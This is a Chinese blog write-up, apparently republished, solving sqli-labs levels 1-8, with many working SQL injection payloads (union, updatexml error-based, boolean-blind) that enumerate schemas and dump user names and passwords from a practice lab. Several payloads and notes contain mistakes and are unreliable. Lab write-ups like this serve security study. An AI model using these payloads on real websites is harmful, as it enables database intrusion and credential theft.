sqllab 1-8
Posted 满天星ak
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqllab 1-8相关的知识,希望对你有一定的参考价值。
写在前面
1.本着理解sql代码点来学习。
2.想要了解多种sql注入的类型和方式。
3.学了两年,啥也不是,现在反过来反省反省。
4.活在自己舒适区,想试图跳出来,别让自己在该奋斗的年纪选择躺平。
5.如有错误,希望各位师傅提出,我及时改正。
Sql注入
简介:常见的数据库攻击手段,用户通过在表单中填写包含 SQL 关键字的数据来使数据库执行非常 规代码的过程。
类型:
1.字符型注入
2.数字型注入
3.盲注
4.报错注入
5.联合查询注入
6.堆查询注入
less 1 基于错误的单引号字符注入
尝试手工注入,输入单引号,返回错误提示。
报错信息:near “1” LIMIT 0,1‘ at line 1
这里-1的作用是查询不存在的值,使得结果为空,-1’ or 1=1 # //这里注释用错,换成 --+即可。
接下来就是进行常规的注入
-1' order by 1 --+ //显示上面的图,说明存在列数为1
-1' order by 4 --+ //报错,显示Unknown column '4' in 'order clause',说明存在列数为3
-1' union select 1,2,3 --+ //显示页面的位置
-1' union select 1,2,database() --+ //爆库
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+ //爆表
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+ //爆列
-1 ' union select 1,username,password from users --+ //爆数据
sql源码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
传入id类型为int,传入1‘#,前面的语句为’1‘,#将后面的给注释,加个;让服务器查找到并结束语句
less 2 基于错误的get整数注入
尝试单引号注入,发现注入得到
猜测为get整数型注入,原因是有两双引号,多余一个引号没有闭合,把逗号去掉,显示数据。
-1 order by 1 --+ //先判断字段,由于是-1所以不显示数据,1的话就显示1的数据,当到4的时候显示Unknown column '4' in 'order clause',得到字段为3
-1 union select 1,database() --+ //获取数据库
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ // 获取表
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='' --+ // 获取字段
-1 union select 1,2,select 'id',(select 列名 from 库名.表名 limit 0.1) //获取数据
less 3 基于错误的字符型注入
加单引号,注入发现问题
猜测类型为字符型注入,查看源码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; //这里增加了括号,用")"进行闭合即可。
-1') order by 1 --+ //判断字段,当判断到4不存在,即有3字段
-1') union select 1,2,database() --+
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ // 获取表
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='' --+ // 获取字段
-1') union select 1,2,select 'id',(select 列名 from 库名.表名 limit 0.1) //获取数据
less 4 双引号字符注入
正常访问:?id=1
?id=-1")
?id=-1") order by 1 --+ //字段为3
?id=-1") union select 1,2,database() --+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ // 获取表
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='' --+ // 获取字段
?id=-1") union select 1,2,select 'id',(select 列名 from 库名.表名 limit 0.1) //获取数
猜测类型:尝试1’还是正确访问,尝试1"显示错误,显示’“1"”) LIMIT 0,1’ at line 1,")没有被闭合,语句上1")闭合。为基于错误的GET双引号字符注入。
为什么1’没有显示报错,我们来看下源码。
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
id是被引号包括的,包括的是单引号比如 ‘id’,那么我们添加单引号会导致引号未闭合,报错,那如果是’id"'这种,虽然双引号没有闭合,但是他在闭合的单引号里,所以这里他的作用只是一个引号,而不是闭合作用,这就解释了为何添加其他字符达不到闭合的目的。
less 5 布尔盲注
进行语句判断
url?id=1' and 1=1 --+ //显示you are in
url?id=1' and 1=2 --+ //未显示
多次查询,该注入为盲注布尔注入,true为you are in ,false未显示。
只能用返回true和false
判断数据库的长度和数据库
url?id=1' and length(database())=8 --+
注入到8为you are in,数据库长度为8
猜测数据库的基本信息的长度:
截取数据库名的第一个字母:
and ascii(substr(database(),1,1))=8 -- - //第一个字符开始截取,截取一个长度
使用bp爆破数字
再将爆破的数字,用ascii码 编码转换器,解码成对应的字母
判断mysql中数据库的数量:
and (select count(*) from information_schema.schemata)=1 -- -
使用bp爆破数字,得出正确的长度
判断第一个数据库名的长度:
and (select length(schema_name) from information_schema.schemata limit 0,1)=1-- -
使用爆破数字,得到正确的长度
判断第一个数据库名的第一个字符:
and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=1-- -
解释:limit 0,1第一个库名 后面的1,1:截取库名的第一个字母 ————1,1表示:第一个字符向后截取一个长度
Less 6 报错注入
进行语句判断
?id=1 // you are in
?id=1' //you are in
?id=1" //"1"" LIMIT 0,1' at line 1
类型为双引号闭合的报错注入
?id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //查询user
?id=1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //查询数据库
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+//爆表名
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+ //用户名
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ //密码
updatexml
函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
针对mysql
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
less 7
参考这位师傅博客
https://blog.csdn.net/YQavenger/article/details/108967912
less 8 单引号报错的布尔盲注
了解函数
length(str) 返回字符串的长度
if(a, b, c) 若条件a为真,返回b,否则返回c
substr(str, pos, len) 从pos位置起截取str字符串len长度的子串并返回
ascii(str) 返回str第一个字符的ascii码
常用的ascii
0~9 48~57
A~Z 65~90
a~z 97~12
猜解信息
猜数据库长度
1' and length(database())>1 // 长度肯定大于1
1' and length(database())>7 //大于7
1' and length(database())>8 //不大于8
1' and length(database())=8 //数据库等于8
爆破数据库信息
通过burp
1' and (select ascii(substr(database(),1,1)))=115 --+
爆破数据表
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117 --+
第一个数据表 101,109,97,105,108,115 =>emails
第二个数据表 114,101,102,101,114,101,114,115 =>referers
第二个数据表 114,101,102,101,114,101,114,115 =>referers
第四个数据表 117,115,101,114,115 =>users
爆破字段
1' and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--+
第一个字段 117,115,101,114,95,105,100 =>user_id
第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name
爆用户名和密码
1' and (select ascii(substr((select username from users limit 0,1),1,1)))=105--+
1' and (select ascii(substr((select password from users limit 0,1),1,1)))=68--+
以上是关于sqllab 1-8的主要内容,如果未能解决你的问题,请参考以下文章
PCL异常处理:pcl 1.8.13rdpartyoostincludeoost-1_64oost ypeofmsvc ypeof_impl.hpp(125): error(代码片段